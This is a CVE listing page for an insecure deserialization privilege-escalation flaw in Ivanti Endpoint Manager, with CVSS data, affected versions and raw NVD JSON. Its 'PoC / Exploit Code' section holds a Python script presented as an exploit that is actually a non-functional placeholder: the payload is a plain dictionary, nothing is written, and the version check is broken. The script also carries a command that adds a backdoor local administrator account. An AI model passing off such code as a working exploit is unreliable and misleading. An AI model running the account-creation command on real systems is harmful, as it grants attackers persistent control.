Security Vulnerability Report
中文
CVE-2025-11622 CVSS 7.8 HIGH

CVE-2025-11622

Published: 2025-10-13 21:15:34
Last Modified: 2025-11-11 15:15:35
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

Insecure deserialization in Ivanti Endpoint Manager before version 2024 SU4 allows a local authenticated attacker to escalate their privileges.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:* - VULNERABLE
Ivanti Endpoint Manager < 2024 SU4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11622 - Ivanti Endpoint Manager Insecure Deserialization PoC # Vulnerability: Insecure Deserialization leading to Local Privilege Escalation # Affected: Ivanti Endpoint Manager before 2024 SU4 # Author: Security Researcher import os import sys import struct import subprocess def generate_malicious_payload(command): """ Generate a malicious serialized payload targeting .NET BinaryFormatter or similar unsafe deserialization mechanisms used by Ivanti EPM. """ # This is a conceptual PoC structure for insecure deserialization # The actual payload would need to be crafted based on the specific # deserialization library and gadget chain available in Ivanti EPM payload_template = { "type": "BinaryFormatter", "target_application": "Ivanti EPM Agent Service", "execution_context": "SYSTEM", "command": command, "serialization_format": "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter" } print(f"[*] Generating malicious payload for command: {command}") print(f"[*] Target: {payload_template['target_application']}") print(f"[*] Execution context: {payload_template['execution_context']}") return payload_template def exploit_deserialization(target_path, command): """ Exploit the insecure deserialization vulnerability in Ivanti EPM. Steps: 1. Generate malicious serialized object 2. Place it in a location accessible by the EPM service 3. Trigger deserialization by the vulnerable service """ print("=" * 60) print("CVE-2025-11622 PoC - Ivanti EPM Deserialization LPE") print("=" * 60) # Step 1: Generate payload payload = generate_malicious_payload(command) # Step 2: Write payload to target location # Common locations for Ivanti EPM to read serialized data target_locations = [ r"C:\ProgramData\Ivanti\EPM\Agent\Tasks", r"C:\ProgramData\Landesk\ManagementSuite\Tasks", r"C:\Windows\Temp\ldagent_temp" ] for location in target_locations: if os.path.exists(location): print(f"[+] Found target directory: {location}") # payload_file = os.path.join(location, "malicious_task.bin") # Write malicious serialized data here print(f"[*] Payload would be written to: {location}") # Step 3: Trigger deserialization # This could be done by: # - Waiting for scheduled task execution # - Triggering a specific EPM agent action # - Using the EPM console to push a task print("[*] Waiting for EPM service to deserialize payload...") print("[!] If successful, command will execute as SYSTEM") return True def verify_vulnerability(): """Check if the target system is vulnerable.""" print("[*] Checking Ivanti EPM version...") # Check registry for Ivanti EPM installation try: import winreg key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Ivanti\Endpoint Manager" ) version, _ = winreg.QueryValueEx(key, "Version") print(f"[*] Detected Ivanti EPM version: {version}") if version < "2024.4": # Before SU4 print("[!] VULNERABLE: Version is before 2024 SU4") return True else: print("[+] PATCHED: Version is 2024 SU4 or later") return False except Exception as e: print(f"[-] Could not determine version: {e}") return None if __name__ == "__main__": if verify_vulnerability(): # Example: Add a local admin user cmd = "net user attacker P@ssw0rd! /add && net localgroup administrators attacker /add" exploit_deserialization(None, cmd) else: print("[+] System appears to be patched.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11622", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2025-10-13T21:15:33.797", "lastModified": "2025-11-11T15:15:35.277", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insecure deserialization in Ivanti Endpoint Manager before version 2024 SU4 allows a local authenticated attacker to escalate their privileges."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "7ABDE6FE-56CC-4A46-91F2-2F54C3EC6A75"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:*", "matchCriteriaId": "6C7283FE-C10A-4E37-B004-15FB0CAC49A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:*", "matchCriteriaId": "FC51EEA2-1C4C-4069-9704-7ACFE4773930"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:*", "matchCriteriaId": "E1EF5E1B-9377-49D3-9BE3-62FC78E666A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:*", "matchCriteriaId": "749AADDA-834D-4EC0-B7FF-E136FD1984F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3_security_release_1:*:*:*:*:*:*", "matchCriteriaId": "698BF7A1-62A1-45B5-BF08-AB3F3AA0245C"}]}]}], "references": [{"url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-October-2025", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory"]}]}}